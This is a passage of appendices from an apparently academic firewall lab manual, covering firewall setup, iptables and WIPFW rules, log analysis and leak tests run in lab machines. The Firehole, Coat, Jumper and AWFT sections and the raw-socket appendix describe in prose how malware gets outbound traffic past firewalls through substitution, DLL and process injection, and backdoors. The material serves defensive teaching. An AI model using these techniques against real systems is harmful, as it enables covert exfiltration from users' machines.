The Exploits Tests will detect how vulnerable your computer is to exploits attacks
by sending unexpected packets to the victims PC. The results show that Windows
Firewall was able to defend itself from the denial-of-service attacks.
Stealth Test:
70
Advanced Port Scan:
Exploits Test:
Source: http://www.flexbeta.net/main/printarticle.php?id=76
71
4. Additional question to Section 2, list some recently discovered Windows Firewall
Exploits.
A weakness has been identified in Microsoft Windows, which could be exploited
by local users to hide certain information. This flaw is due to an error in the way that the
Windows Firewall User Interface handles malformed entries in the Windows Registry,
which could be exploited by attackers or worms, when a system has already been
compromised, to create Windows Firewall exception entries that will not be displayed in
the Windows firewall graphical user interface.
At least one recent exploit in Internet Explorer, there are certain exploits that antianything (virus, spyware, pop-ups, etc) products are powerless against. What's your last
line of defence to keep one of these exploits from phoning home? Outbound blocking – is
a feature that the Windows Firewall lacks.
72
Appendix H
ZoneAlarm
ZoneAlarm is a software firewall for Windows 98SE, ME, 2000, and XP. It is available at
http://www.zonelabs.com. You will become familiar with its setup and features.
Download zlsSetup.exe to your desktop and double click on the icon. We will use the default
directory so click on Next. Uncheck the two boxes about registering and being informed about
product news since we have no connect to the internet. Click Next. Accept the License
Agreement and click Install. In the user survey just click Finish, and click Yes to start
ZoneAlarm. Click on Select ZoneAlarm and then click Next. Click Finish. Click Next at the
welcome screen. Choose yes as shown in Figure 1 and click on next.
Figure 1. Internet access configuration.
Click Done to exit the Wizard. Click Ok to restart your virtual machine and complete
installation.
You will now see ZoneAlarm open to its Overview page. On the left you can see where you can
control options for the firewall, the program control, email, and alerts and logs. Minimize
ZoneAlarm for now and start the VNC viewer. Enter the IP address of any of your virtual
machines and click ok. You should see a screen similar to that of Figure 2.
73
Figure 2. ZoneAlarm Security Alert.
Look at the Security Alert. ZoneAlarm gives the application name, the IP of the machine that
the application is trying to access as well as the port of the machine. This is useful if you have a
program that you are not familiar with because you can deny access and then research the
program to find out whether or not you should be worried. If it is some type of Trojan you have
the IP address that it is trying to contact. Go ahead and allow access. You’ll get a message that
VNC has failed to connect. Click OK.
Now on your Red Hat WS 4.0 machine run the nmap GUI.
#nmapfe
Enter the address of your XP Pro virtual machine and click scan with the default settings. You
should see a screen similar to Figure 3.
Figure 3. Nmap result of XP machine running ZoneAlarm.
74
It looks like we are not there, or we are blocking our ports. On the Red Hat machine ping the
XP Pro machine.
#ping <XP Pro IP>
After a few seconds press Ctrl C. You should see results like that of Figure 4.
Figure 4. Pinging result of XP machine running ZoneAlarm.
Now look at your XP machine’s screen. ZoneAlarm has alerted you of the ping, and it shows the
IP of the offending machine as shown in Figure 5. In the real world we could do a WHOIS look
up and contact the ISP of this person if this were more than just a ping to our machine.
Figure 5. Security Alert from ZoneAlarm with attacker’s IP and type of attack.
Q. How could an attacker hide the IP of the machine from which he/she is attacking?
75
Ans. If and attacker ssh to an machine and send his packets through that machine there is
actually no way that a victim can find out which machine is the packets are being sent from.
For this reason every machine should have there own firewall on, even though there is a
firewall setup for each network.
76
Appendix I
ProcessGuard
Since there are some ways to get around the firewalls and attack a machine in the
stealth mode, users are recommended to use some kind of task manager kind of
application to check and control various other application that might make the machine
vulnerable to the outside network. One of the software that can be used is ProcessGuard.
It runs under all new windows versions. A free trail version of this software can be found
in this following website,
http://www.diamondcs.com.au/?hop=gkweb
•
•
•
This software comes with some special features along with the classical task manager
application, such as –
ProcessGuard gives you full control over which programs are allowed to run.
It prevents even the stealthiest rootkit Trojan horses from being able to install malicious
drivers.
Virtually all known code/process-related attacks can be prevented, including keyloggers,
firewall leak tests, process termination, code and DLL injection, thread hijacking, and
Windows File Protection attacks.
Installation process:
1. Once you download the setup file from the web address give above, you should
execute the file.
2. This would start installation process.
3. Press next for several times in the next few windows. Once you are done installing
you’ll see the icon of the software in your system tray.
4. It is recommended that you reboot your system after installation.
5. After rebooting, double click on the program icon in the system tray. A window will
pop up.
77
Figure 9: Initial view of ProcessGuard
6. As this is trail version, you will won’t have the privilege to manipulate the machines
task in the memory level or globally.
7. Once you go in to the ‘Alert’ option, you’ll see a list of applications running. Select a
application and see the comments shown below for that application.
Figure 10: Alert option in ProcessGuard
8. When you go to the ‘Protection’ option, you’ll again see a list of programs and there
attributes. Here by selecting a program and right clicking on it, you can obtain the
options to manipulate various attributes. You can do the same thing by selecting the
application and setting the attribute shown below. You can also add new program
that is needed to be protected or set preferences.
78
Figure 11: Protection option in ProcessGuard
1. If you click on the ‘Security’ option you’ll see a list of programs. You can select each
program and right click on it. Then you can set the permission level for each
programs as desired.
Figure 12: Security option in ProcessGuard
79
Advantages:
The advantages with these software is that they are compatible to each other and they
don’t interfere in others tasks. Also these software are user friendly and easy to work with. The
best part is that it gives you the freedom to set different priorities to different applications. As
these software shows everything in GUIs, users can manipulate everything visually.
Conclusion:
These software are reliable for the time being. But everyday there are countless bugs and
vulnerabilities are found. To protect you machine, it is recommended to use the software that you
absolutely need to do a specific task. Unnecessary applications open extra ports that can attract
the hacker to get in. So, using these software you should set the permit level for your machine to
protect it.
80
Appendix J Firewall Builder
This lab explained how to set firewall rules to help secure a network using a few different
types of firewalls, including iptables in Linux. Although iptables is a very robust firewall, it can
be difficult to configure for someone just learning how it works. We found a program with a
GUI that allows a user to create rules for various types of firewalls, including iptables, in an easy
to use interface. The program is called Firewall Builder, and it can be found at
http://www.fwbuilder.org/. It runs on most operating systems, including Windows, Linux, and
Mac OS. The program allows you to build the firewall rules and create a script, then transfer the
file to the host running the firewall where it can be run to setup the firewall rules specified in
Firewall Builder. It also comes with preconfigured templates to help you get started.
To create the firewall rules for iptables we used the Windows version of Firewall Builder on our
Windows XP virtual machine. The rules that will be created allow the firewall to respond to
pings and to forward SSH traffic to a server on the local side. The script created was then
transferred over to our RedHat WS 4.0. The BlackHat and Protected virtual machines set up for
the first section of Lab 4 are used so this addition should be place somewhere after those have
been set up. The following steps were used to accomplish this:
• Copy the fwbuilder-2010-1.exe file to your Windows XP virtual machine and run the file
to install it. Use all the default settings for installation.
• Start the program from the Program Files list in the start menu.
• When the “Welcome to Firewall Builder” window comes up click on “Create new project
file”. Select a place to save the file. It is a good idea to create a new folder on the
desktop and save it in there. Click Next. Click Finish on the next window that comes up.
• On the left side, right click “Firewalls” and select “New Firewall”.
81
•
Enter a name for the firewall, like “iptables_firewall”, select iptables for the software
running, and select Linux 2.4/2.6 for the OS running the firewall. When the window
looks like the one below click Next.
•
•
Select “Configure interfaces manually” in the next window and click Next.
In the next window enter the values for Name, Label, Address, and Netmask as shown in
the screenshot below. When you enter the values for one interface click Add, then enter
the next set of values and click Add. Finally, click Finish once all the settings are correct.
82
•
•
•
•
•
•
•
•
•
•
•
You should now be back to the main Firewall Builder window. In the right side, find the
Addresses folder, located within the Objects folder. Right click on the Addresses folder
and select New Address.
In the new window that opens, enter “outside_IP” for the Name, and the IP address of the
outside interface (131.210.231.1) for the Address. Click Apply Changes then close the
address window. You should now see an item for ouside_IP under the Addresses folder.
Do the same to create a new address for the local server within the firewall. This server
will be the Protected virtual machine with an IP address of 192.168.0.10. Give it a name
of “local_server”.
Find the TCP folder under the Services folder on the left side of the main Firewall
Builder window. Right click on TCP and select New TCP Service.
In the TCP window that comes up, type “SSH” for the Name, 0 for Start and End under
the Source Port Range, and 22 for the Start and End under the Destination Port Range.
Click Apply Changes then close the window.
Create a new ICMP Service using the default ICMP settings, and name it Ping.
Click on the NAT tab. Right click in the NAT window and select “Insert Rule”.
Find the ouside_IP Address you created in the left side. Left click it and drag it to the
Original Dst section in the NAT rule. Drag the SSH TCP Service you created to the
Original Srv section. Drag the local_server Address you created to the Translated Src
section. Drag the SSH TCP Service to the Translated Srv section.
Click on the Policy Tab. Right click in the Policy window and select Insert Rule.
Drag the SSH Service to the Service section. Right click in the Action section and select
Accept.
In the Rules menu at the top select Add Rule Below.
83
•
In this new rule, drag the Ping service to the service section and change the action to
Accept. The Policy tab should now look similar to the screenshot below.
•
•
Save the settings by clicking the disk icon or selecting File, Save.
To build the iptables file with the settings created select Compile under the Rules menu at
the top, or click the icon for Compile Rules.
Find the newly created file. It will be located in the same place you created the Firewall
Builder project file. It will have the name “iptables_firewall.fw” if you followed the
directions given previously. Transfer this file to your RedHat WS 4.0 machine. If you
have a shared vmware folder setup already, that is an easy way to copy the file over.
On the RedHat WS 4.0 machine that is acting as the firewall, run the following command
to stop the firewall:
o /etc/rc.d/init.d/iptables stop
Run the following command from the location where the iptables_firewall.fw file is
located to enable the iptables rules created:
o ./iptables_firewall.fw
From the BlackHat virtual machine, try to ping the firewall’s external IP address
(131.210.231.55). The firewall should respond to these pings.
Now try to ssh into the server behind the firewall. Use the following command:
o ssh 131.210.231.1
Log in and try a few commands to see if they work. Type “ifconfig” to see the IP address
of the server you are connected to. It should be “192.168.0.10”, the server located inside
the firewall.
•
•
•
•
•
•
84
Here are some additional screenshots of Firewall Builder and us demonstrating the rules.
The main Firewall Builder window before any firewalls have been created.
The BlackHat machine pinging the firewall after applying the new rules.
85
The BlackHat machine connecting to the server inside the firewall using ssh.
86
Appendix K Firehole
This addition is a continuation of the study on the effectiveness of firewalls in their default state.
We will launch a very simple program that sends an outbound message and demonstrate that the
default settings that are enabled after firewall installation are not strong enough to protect a user
from every attack. Then, we will discuss methods of preventing such attacks.
[This part would take place before any firewalls are installed.]
First, we will prove that the program works. Download the Firehole program from
http://keir.net/firehole.html. It is a small executable and requires no installation. Download it to
your Windows machine. Ensure that the Windows firewall is off doing the following:
Go to Start->My Network Places
On the left, click View Network Connections
Right click on the Local Area Connection and select Properties
Click the Advanced tab
Make sure the check box is unchecked.
Now, double click on the Firehole.exe program to launch it. It should look like this:
Now, replace the IP with the IP of your Red Hat WS4 machine and leave the port on 80. DO
NOT click Start yet. On your Red Hat WS4 machine, start the Apache web server that you
installed in one of the previous labs. (This is needed so the program has something to send the
message to.) Assuming the path is the same, the command will be:
/home/apache2/bin/apachectl start
Now, test that the server is running by trying to connect to it via the web browser on the
Windows machine. (Go to http://a.b.c.d/ where a.b.c.d is the IP address of your WS4 machine.)
Open Ethereal on the WS4 machine and start capturing packets. Return to the Windows VM and
press the Start button in Firehole. It should spawn an IE program and after a few seconds the
program should return a success. The author of the program notes that he/she could have easily
87
hidden the IE window, but decided not to just for the proof of concept. It’s worth noting that this
kind of program could be wrapped in some other, innocent looking program and launched in the
background, as seen in previous labs.
Go back to Ethereal, stop capturing packets, and look for the connection between the two
machines. If you follow the TCP-stream, you should see something similar to:
Notice the message at the top. We have just sent an outgoing message over a standard port (80).
Although in our case, the message contained nothing vital, it could very well have sent logged
passwords or files. This is a big problem that can’t simply be fixed by blocking a port, since in
this case, the port is 80. (This would block all web browsing from your machine!)
[Now continue with the lab until after RealSecure is installed, but not configured.]
Now, with the firewall running, attempt to run Firehole again.
Question: Where you successful? Why or why not?
Yes we were successful because all outbound traffic is allowed as a default for most firewall
settings.
Now, close Firehole and delete it. It is important that Firehole be removed from your system for
this step so that the firewall does not make a rule for it.
Within the RealSecure firewall, go to
88
Tools->Edit Settings
Application Control Tab
Click “Enable Application Protection”
The program will now make a baseline for your system. It will take about a minute. Once it is
done, select “Ask me what to do” for both options and click Apply and OK.
Now, download Firehole again and try to open it.
Question: Did anything happen?
Yes, RealSecure should have noticed the new program trying to launch and provided options to
continue or terminate.
Allow it to open (press the Continue button) and attempt to access the Internet. This attempt
should be blocked also.
Take a screenshot of the Firehole output and submit it.
So what have we done? We have told the firewall to watch for new programs attempting to
access the Internet. At this point, the user is aware of all new programs that might try to go
online. Ideally, the firewall would be installed right after a fresh OS install, and the baseline
could be setup from there. It’s worth noting that if Firehole were already installed before the
baseline was run, it wouldn’t be caught because RealSecure just makes a log of all the
executables and allows them access to the Internet. Now, every time a new or modified
application attempts to run and/or access the Internet, RealSecure will ask the user what to do.
This could get very annoying after some time, but that’s the price you pay for security.
89
Appendix L: Deep Packet Inspection
Overview
“Deep Packet Inspection is a term used to describe the capabilities of a firewall or an Intrusion
Detection System (IDS) to look within the application payload of a packet or traffic stream and
make decisions on the significance of that data based on the content of that data. The engine that
drives deep packet inspection typically includes a combination of signature-matching technology
along with heuristic analysis of the data in order to determine the impact of that communication
stream. While the concept of deep packet inspection sounds very nice it is not so simple to
achieve in practice. The inspection engine must use a combination of signature-based analysis
techniques as well as statistical, or anomaly analysis, techniques. Both of these are borrowed
directly from intrusion detection technologies.” 1
The Big Picture
Deep Packet Inspection is the future in firewall and IDS technologies and is valuable part of the
multi-layer security model. As applications and networks become more complicated, the
network perimeter must be able to detect potential incoming threats by analyzing more than
simply the header of packets. Malicious commands can easily be implanted into normal every
day traffic and tunneling non-standard traffic over standard ports is slowly becoming the norm.
Packet payload analysis is a crucial element of network perimeter security.
The Problem
Packet payload analysis is an expensive operation. While packet header sizes are standardized,
payload sizes are not which dramatically increases the problems with quickly analyzing them.
Many applications today require transfer rates at wire speed and many deep packet inspection
techniques simply cannot keep up. Until the wire speed issue is correct, deep packet inspection
cannot be fully integrated into network perimeter security solutions.
Reality
Due to the limitations of deep packet inspection, it is only currently implemented by a few
hardware providers for a few protocols (i.e. FTP, SSH, HTTP).
Theory
“In the early stages of firewalls all traffic had to be explicitly specified whether it was permitted.
A good example of a very rudimentary firewall was the original Linux firewall. This firewall
(whether manipulated with ipfwadm or ipchains required that all traffic traversing the firewall
(regardless of direction) be specified. The firewall did not keep track of the various sessions that
may exist at any one time in the firewall.
Stateful inspection changed all that. Invented by Check Point Software Technologies in the midto-late 1990s stateful inspection quickly became an industry standard. Stateful inspection
provides for the analysis of packets at the network layer as well other layers (typically the
transport layer in the OSI model but the firewall may look at layers above that as well) in order
to assess the overall packet. By combining information from various layers (transport, session,
and network) the firewall is better able to understand the protocol it is inspecting. This also
1
http://www.securityfocus.com/infocus/1716
90
provides for the ability to create virtual sessions in order to track connectionless protocols such
as UDP-based applications as well as RPC-based applications.”2
Here is how the typical stateful firewall works.
In picture (a), a client and server make a typical 3-way handshake. After the handshake, the
firewall stores the connection in its state table and will allow the client to communicate with the
server however it wants through that connection. Once the connection is closed, the entry will be
removed from the firewall state table.
2
http://www.securityfocus.com/infocus/1716
91
In this deep packet inspection example, in picture (a), the client and server accomplish a threeway handshake much like the last example. After the handshake, the firewall adds an entry in its
state table for the connection. Now, however, the firewall will monitor the payloads for all of the
traffic between the two machines over the connection and ensure that the packets conform to the
given protocol. If for example, a “Address Token Overflow” is sent to the mail serve over the
connection, the firewall will know that this is not a standard packet and take appropriate action.
Deep Packet Inspection and the Cisco PIX
The Cisco PIX used in the lab has some very rudimentary deep packet inspection utilities built
in. The fixup command engages the deep packet inspection tools to monitor given protocols for
potential attacks. The fixup command is not configurable and has very few runtime optins.
> fixup protocol <protocol>
References and Images
Security Focus: Firewall Evolution
92
http://www.securityfocus.com/infocus/1716
Security Focus: Perils of Deep Packet Inspection
http://www.securityfocus.com/infocus/1817
Wikipedia: Deep Packet Inspection
http://en.wikipedia.org/wiki/Deep_packet_inspection
93
Appendix M: IPTABLES LOG ANALYSIS
Setting up a firewall is only half the battle. As has been shown countless times throughout this
course, firewalls are traversable, whether through buffer overflow vulnerabilities in well known
applications, or through deceptive tricks like ACK tunneling. Firewalls provide a good method
to taper the flow of malicious traffic, but for those who successfully penetrate, methods must be
available to identify malicious users, and their method of entry.
As everyone is well aware, logs provide such a method of pre and post intrusion analysis.
Through the analysis of logs, we can detect scans from a single address and block them.
Historical patterns emerge for an attacker systematic enumeration of your perimeter. In the
worst case scenario, these logs leave a trail that can be used in the post mortem of a successful
hack.
In this addition, we provide a brief background into the manual methods of log analysis,
followed by a more in-depth look at a GUI based log analysis by an Open Sourced package
called IPTables Log Analyzer. From manual grep commands, regular expressions, scripting and
onto automated GUI’s.
Installing Iptables Log Analyzer
Iptables Log Analyzer is a package that analyzes the log output from your iptables firewall, stores the info
in a database and then produces a nice user friendly web interface from where you can monitor your
firewall log output at any time. The interface even lets you sort throught the logs and group logs by
category. The official site for Iptables Log Analyzer can be found at http://www.gege.org/iptables/.
So let's install it...
The first thing you will need to do is to download the Iptables Log Analyzer package. You can download
the latest copy of the package right here:
http://www.iptablesrocks.org/downloads/iptables_logger_v0.4.tar.gz
Look here for further instructions for configuring Iptables log analyzer:
http://www.iptablesrocks.org/guide/analyze.php
Below is the format used by the netfilter log messages:
The items are explained in sequence:
Apr 16 00:30:45
syslog prefix. It is not present if you read log messages from the console.
megahard kernel:
NF: D(I,Priv)
Enabled with: --log-prefix 'prefix'
An arbitrary, user defined log prefix. Including the spaces.
A trailing space is necessary to keep the prefix separate from the next
token; this is a bug in netfilter.
IN=eth1
Interface the packet was received from. Empty value for locally generated
packets.
94
OUT=
Interface the packet was sent to. Empty value for locally received packets.
MAC=
00:80:8c:1e:12:60:
00:10:76:00:2f:c2:
08:00
Destination MAC=00:80:8c:1e:12:60,
Source MAC=00:10:76:00:2f:c2,
Type=08:00 (ethernet frame carried an IPv4 datagram)
SRC=211.251.142.65
Source IP address
DST=203.164.4.223
Destination IP address
LEN=60
Total length of IP packet in bytes
TOS=0x00
Type Of Service, "Type" field.
Increasingly being replaced by DS and ECN. Refer to the IP header info
below.
PREC=0x00
Type Of Service, "Precedence" field.
Increasingly being replaced by DS and ECN. Refer to the IP header info
below.
TTL=44
remaining Time To Live is 44 hops.
ID=31526
Unique ID for this IP datagram, shared by all fragments if fragmented.
CE
Presumably the "ECN CE" flag (Congestion Experienced).
This seems to be wrong because according to RFC2481, the CE bit is
located in the TOS field. Refer to the IP header info below.
DF
"Don't Fragment" flag.
MF
"More Fragments following" flag.
FRAG=179
Fragment offset in units of "8-bytes". In this case the byte offset for data in
this packet is 179*8=1432 bytes.
OPT (0727..A200)
Enabled with: --log-ip-options
IP options. This variable length field is rarely used. Certain IP options, f.e.
source routing, are often disallowed by netadmins. Even harmless options
like "Record Route" may only be allowed if the transport protocol is
ICMP, or not at all.
PROTO=TCP
Protocol name or number. Netfilter uses names for TCP, UDP, ICMP, AH
and ESP. Other protocols are identified by number. A list is in your
/etc/protocols. A complete list is in the file protocol-numbers
SPT=4515
Source port (TCP and UDP). A list of port numbers is in your
/etc/services. A complete list is in the file port-numbers
DPT=111
Destination port (TCP and UDP). See SPT above.
SEQ=1168094040
Enabled with: --log-tcp-sequence
Receive Sequence number. By cleverly chosing this number, a
cryptographic "cookie" can be implemented while still satisfying TCP
protocol requirements. These "SYN-cookies" defeat some types of SYNflooding DoS attacks and should be enabled on all systems running public
TCP servers.
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
95
ACK=0
Same as the Receive Sequence number, but for the other end of the TCP
connection.
WINDOW=32120
The TCP Receive Window size. This may be scaled by bit-shifting left by
a number of bits specified in the "Window Scale" TCP option. If the host
supports ECN, then the TCP Receive Window size will also be controlled
by that.
RES=0x03
Reserved bits. The ECN flags "CWR" and "ECNE" will show up in the
two least significant bits of this field.
URG
Urgent flag. See URGP below.
ACK
Acknowledgement flag.
PSH
Push flag.
RST
RST (Reset) flag.
SYN
SYN flag, only exchanged at TCP connection establishment.
FIN
FIN flag, only exchanged at TCP disconnection.
URGP=0
The Urgent Pointer allows for urgent, "out of band" data transfer.
Unfortunately not all protocol implementations agree, so this facility is
hardly ever used.
OPT (020405...300)
Enabled with: --log-tcp-options
TCP options. This variable length field gets a lot of use. Important options
include: Window Scaling, Selective Acknowledgement and Explicit
Congestion Notification.
Unfortunately the rule number in the chain which matched the packet is for
architectural reasons not available in netfilter logs. You will have to "cook
your own" by using the user-prefix feature.
Below is a snapshot of iptables log analyzer GUI. It has the ability to parse logs by date, IP,
interface, host, protocol, etc.
It provides utilization statistics which can identify unusual behavior
1. Number of packets
2. Top Host Statistics
3. Top Port Statistics
96
References:
•
•
IPtables Log Analyzer: http://www.gege.org/iptables/
Netfilter Format: http://logi.cc/linux/netfilter-log-format.php3
97
Appendix N WIPFW (Win IPTables)
WIPFW is a windows-based port of IPFW from the OS FreeBSD. It is a good tool for extra
computer security. It is also a free, open-source tool. Some of its functionality is similar Linux’s
“iptables”. WIPFW download and information can be found at the website
http://wipfw.sourceforge.net/. After downloading and unzipping the folder you should see the
following files:
Double-clicking install should take care of everything. As a side note, you can edit the
“wipfw.conf” file and then double click “config” to update these settings. The default config file
can be seen below:
Comments can be added after a “#” symbol. The commands that can be added are listed within
the “README” provided by the author.
Commands can also be added simply by using windows command prompt. After opening
command prompt type in the command “ipfw”. You will see some of the commands and the
base welcome screen. To start fresh with your own commands type in “ipfw –f flush”. This
98
clears all current settings and essentially looks like this program does not exist in regards to
network traffic. This can be seen by typing in “ipfw –a show”. If you have done everything
right you your screen should look like the following:
A sample command can be added to test the functionality. Type in “ipfw add deny tcp from any
to any”. You can then verify that this has been added. Your screen should look like the
following:
As of this point you should have completely blocked all tcp traffic. This can be verified simply
by trying to access the web. After this you can flush again to clear all added commands. Adding
these commands via command prompt is very good for individual testing, but for long term use
the config file is the most useful way to add commands. With enough commands WIPFW could
do everything that a normal firewall could do and more. Using a user-friendly firewall for basic
99
firewalling is still the most useful. WIPFW can then be used for rules where there are holes in
your firewall. The following protocols can have rules done to them:
IP, ICMP, TCP, UDP, EGP, PUP, GGP, HMP, XNS-IDP, RDP, RVD
WIPFW can then be used to do things such as deny, allow, IP forward, etc. It can even detect
fragmented packets and reject them, which is a popular way for hackers to enter malicious items
through a firewall undetected. A screenshot below from the GUI lets you see many of the
possibilities of this software (The GUI is buggy and is shown as an FYI only.
We discovered a pre-made config file that has enough commands to basically completely remove
the need to another firewall, plus many other rules (The author or this config file is unknown).
We will not advocate only using WIPFW because alerts and easy-to-navigate GUIs help with
most of the needs people have with networking. WIPFW will greatly enhance security in the
background, and since it is free and open-source there is no fee even for commercial use. The
following is the config file we found (“ipfw –a show” can be used to verify that the rules have
been added):
100
# First flush the firewall rules
-f flush
### allow local traffic, Localhost rules ###
add allow all from any to any via lo*
## standard http rules ##
add allow tcp from any to any 80 out via eth1 setup keep-state
add allow tcp from any to any 80 in via eth1 setup keep-state
## secure https ##
add allow tcp from any to any 443 out via eth1 setup keep-state
add allow tcp from any to any 443 in via eth1 setup keep-state
## Prevent any traffic to 127.0.0.1, common in localhost spoofing ##
add deny log all from any to 127.0.0.0/8 in
add deny log all from 127.0.0.0/8 to any in
# deny RFC 1918 addresses on the outside , common in localhost spoofing
#add deny ip from any to any not verrevpath in
add deny ip from 10.0.0.0/8 to any in via eth1
add deny ip from 172.16.0.0/12 to any in via eth1
add deny all from 0.0.0.0/8 to any in via eth1 #loopback
add deny all from 169.254.0.0/16 to any in via eth1 #DHCP auto-config
add deny all from 192.0.2.0/24 to any in via eth1 #reserved for docs
add deny all from 204.152.64.0/23 to any in via eth1 #Sun cluster interconnect
## Deny all fragmented ##
add deny all from any to any frag in via eth1
## ftp with passive ports ##
add allow tcp from me to any 21 out via eth1 setup keep-state
add allow tcp from me to any 49152-65535 out via eth1 setup keep-state
add allow tcp from any to me 21 in via eth1 setup keep-state
add allow tcp from any to me 49152-65535 in via eth1 setup keep-state
## pop & smtp ##
add allow tcp from any to any 25 out via eth1 setup keep-state
add allow tcp from any to any 110 out via eth1 setup keep-state
## ntp ##
add allow tcp from any to any 123 out via eth1 setup keep-state
add allow udp from any to any 123 out via eth1 keep-state
## imap ##
add 00635 allow tcp from any to me 143 in via eth1 setup keep-state
#ICMP
###### ICMP ######
## Allow out & in console traceroot command ##
add allow udp from me to any 33435-33500 out via eth1 keep-state
add allow log icmp from any to me icmptype 3,11 in via eth1 limit src-addr 2
## ping out ##
add allow icmp from any to any out via eth1 keep-state
## ping in ##
add allow log icmp from any to me icmptype 0,8 in via eth1
## This sends a RESET to all ident packets ##
add reset log tcp from any to me 113 in via eth1 limit src-addr 4
## Stop & log external redirect requests ##
add deny log icmp from any to any icmptype 5 in via eth1
## Stop & log spoofing Attack attempts ##
add deny log ip from me to me in via eth1
## Stop & log ping echo attacks ##
101
add deny log icmp from any to me icmptype 0,8 in via eth1
## snmp ##
add allow udp from any to me 161 in via eth1 keep-state
#Multicast
add deny ip from 224.0.0.0/3 to any in
add deny tcp from any to 224.0.0.0/3 in
# DisAllow idents
add reset log tcp from any to any 113 in recv eth1
## deny incoming ssh & Telnet ##
add deny tcp from any to me 22,23
# Allow DNS queries and responses (It replaces the above four lines in two lines. Cheers!)
## dns ##
add allow tcp from any to any 53 out via eth1 setup keep-state
add allow udp from any to any 53 out via eth1 keep-state
add allow udp from any to me 53 in via eth1 keep-state
add allow tcp from any to me dst-port 53 in via eth1 setup keep-state
102
Appendix O Firewall Tests
1. Leak Testing in Windows
Leak tests are small, non-destructive, programs designed by security experts that deliberately
attempt to bypass a firewall's outgoing security measures. The rationale behind them is painfully
simple: "If this test can get past your computer's security defenses, then so can a hacker."
Explicitly designed to help identify a firewall's security flaws, leak tests provide the invaluable
function of informing the user whether or not their firewall is providing adequate protection. The
tests pose no real threat to the security of a computer as they are harmless simulations of the
attack techniques typically used by spyware and Trojan horse programs. There are many leaktesting programs available - each one designed to exploit a particular flaw and each using a
particular attack technique to break a firewall's standard protection mechanisms. We will be
testing two firewalls through three leak tests: Black Ice and Comodo. Black Ice was installed in
a previous lab.
1. First, we will change one option for Black Ice. Goto Black Ice settings and click the
Tools menu. Click “Advanced application protection settings” and enable application
protection.
2. Next it’s time to install Comodo. You can find Comodo at
http://www.personalfirewall.comodo.com/. It is also located in nas4112/Lab4 as
CFP_Setup_English.exe.
3. Load up your Windows machine and install Comodo with the default options. After the
install, you will be prompted to restart. Click OK and allow the restart (make sure you
saved anything on the Windows machine you want saved first though).
4. After your computer boots up, you’ll notice Comoodo is now in your system tray (bottom
right near the clock). Now, you will be running each of these tests with both Black Ice
and Comodo and filling in the results in the table below. Only run one firewall at a time.
5. Rather than exiting the programs, I would suggest that you right click on the firewall’s
system tray icon you want to disable and then goto the following option:
a. For Comodo, goto Security Level. Click Allow All to disable the firewall, or
click Custom when you are testing Comodo.
b. For Black Ice, you have to click two options to stop the firewall and the
application protection.
Substitution
This technique tries to present itself as a trusted application. There are a few different
possibilities how to achieve this. For example the application can try to rename itself to a
commonly known, safe application name such as iexplore.exe. As a result, firewalls that do not
verify application signatures or verify too late fail to detect such attempts.
Coat is one method to test substitution. The Coat leak-test rewrites its own memory and tries to
establish an Internet connection. It rewrites its image base, image name, command line,
Windows title etc. and it also changes the information of the main module in the module list. All
103
these data reside in the address space of its process. All the data are changed to match the image
of the default browser. Then, it tries to establish the Internet connection.
Firewalls that are not able to handle this trick could mean that they do not have an internal list of
running programs and are unable to obtain this information when it is needed. This gives
malicious processes enough time to modify these data before they execute privileged actions.
Such firewalls (as well as many other programs - e.g. Process Explorer from Sysinternals) then
see the malicious process as something else - e.g. the default browser - and allow the execution
of privileged actions without any questions.
1. Grab coat from nas4112/Lab5/coat.zip or at http://www.matousec.com/.
2. Next, unzip the file and put it somewhere you can remember on your Windows machine.
3. Load up the command prompt and goto the coat directory and run lt-coat.exe with each
firewall. If the firewall displays a prompt that wants to block the application, then the
test succeeded. An example of a success is seen below running Coat:
. Record your
results in the table.
DLL Injection
Being one of the most commonly used techniques by Trojans, this method tries to load a DLL
file into the process space of a trusted application. When a DLL is loaded into a trusted process,
it acts as the part of that process and consequently gains the same access rights from the firewall
as the trusted process itself. Firewalls that do not have an application component monitoring
feature fail to detect such attacks.
104
To test DLL injection, Jumper will be used. Jumper attemps to infect Windows Explorer with its
own DLL. At first, it tries to modify the registry value AppInit_DLLs and then it terminates
Windows Explorer. When the Windows Explorer is run again it loads DLLs specified in
AppInit_DLLs to its process. Jumper's DLL running from the Windows Explorer process
launches Internet Explorer and controls its behaviour to connect to the Internet server.
1. First, put Jumper on the Windows machine. You can find it in nas4112/Lab4 or you can
get it at http://www.firewallleaktester.com/.
2. Next, run the executable after you unzip it. Next click Send. Note that this application
can sometimes crash explorer.exe. To load it back up, press ALT+CTRL+DEL and goto
File/New Task(run). Now type in explorer.exe and it will reload explorer.
3. Record your results
Process Injection
This technique is the most advanced and difficult to detect penetration case that many personal
firewalls still fail to detect although it is used by Trojans in the wild. The attacker program
injects its code into process space of a trusted application and becomes a part of it. No DLL or
similar component is loaded.
To test process injection, AWFT will be used. AWFT is a set of six tests. However, two of the
tests do not work since we do not have an internet connection, so we will only work with tests 14.
• Test 1: Attempts to load a copy of the default browser and patch it in memory before it
executes.
• Test 2: Attempts to create a thread in a loaded copy of the default browser.
• Test 3: Attempts to create a thread in Windows Explorer.
• Test 4: Attempts to load a copy of the default browser from within a thread in Windows
Explorer and patch it in memory before execution. This attack regularly beats most personal
firewalls which require authorization for an application to load another application.
1. First, install the program from the nas4112/Lab4 folder called awft.exe or goto
http://www.atelierweb.com/awft/.
2. Next, ensure that your Apache server is still setup. If not, follow instructions from a
previous lab to install Apache.
3. After the install, goto Start/Programs/Atelier and load up AWFT.
4. In the URL textbox near the bottom, type in your host computer’s IP address with
Apache set up.
5. To choose a test, you click the appropriate number at the top, in blue letters. Then either
AWFT or the firewall will be given points depending on whether the firewall passes or
fails. An AWFT point means that the firewall failed that particular test.
Test name
Coat
Comodo (Pass/Fail)
105
Black Ice (Pass/Fail)
Jumper
AWFT 1
AWFT 2
AWFT 3
AWFT 4
As you can see from the results, not all firewalls are the same. Matousec did a rating of the
firewalls and found Comodo to be the best firewall in terms of leak test pass rate, while the
Windows firewall was the worst, with its lack of leak test protection.
106
Appendix P Getting Around IP tables
This extension demonstrates the capabilities of raw sockets and their ability to circumvent
firewalls. While firewalls prevent packets from entering the kernel and stack, raw sockets
connect directly to the interface and sniff raw packets. By adding some basic coding and
processing, better backdoors can be constructed.
This extension uses Libpcap, a platform-independent library that utilizes raw sockets to
capture packets before they are “dropped” by the firewall.
Code is derived from sniffex.c, obtained from http://www.tcpdump.org/pcap.htm
Raw sockets circumvent software firewalls.
Countermeasures:
Move firewall off the machine to a gateway.
Limit root access.
Monitor processes vigilantly.
Background
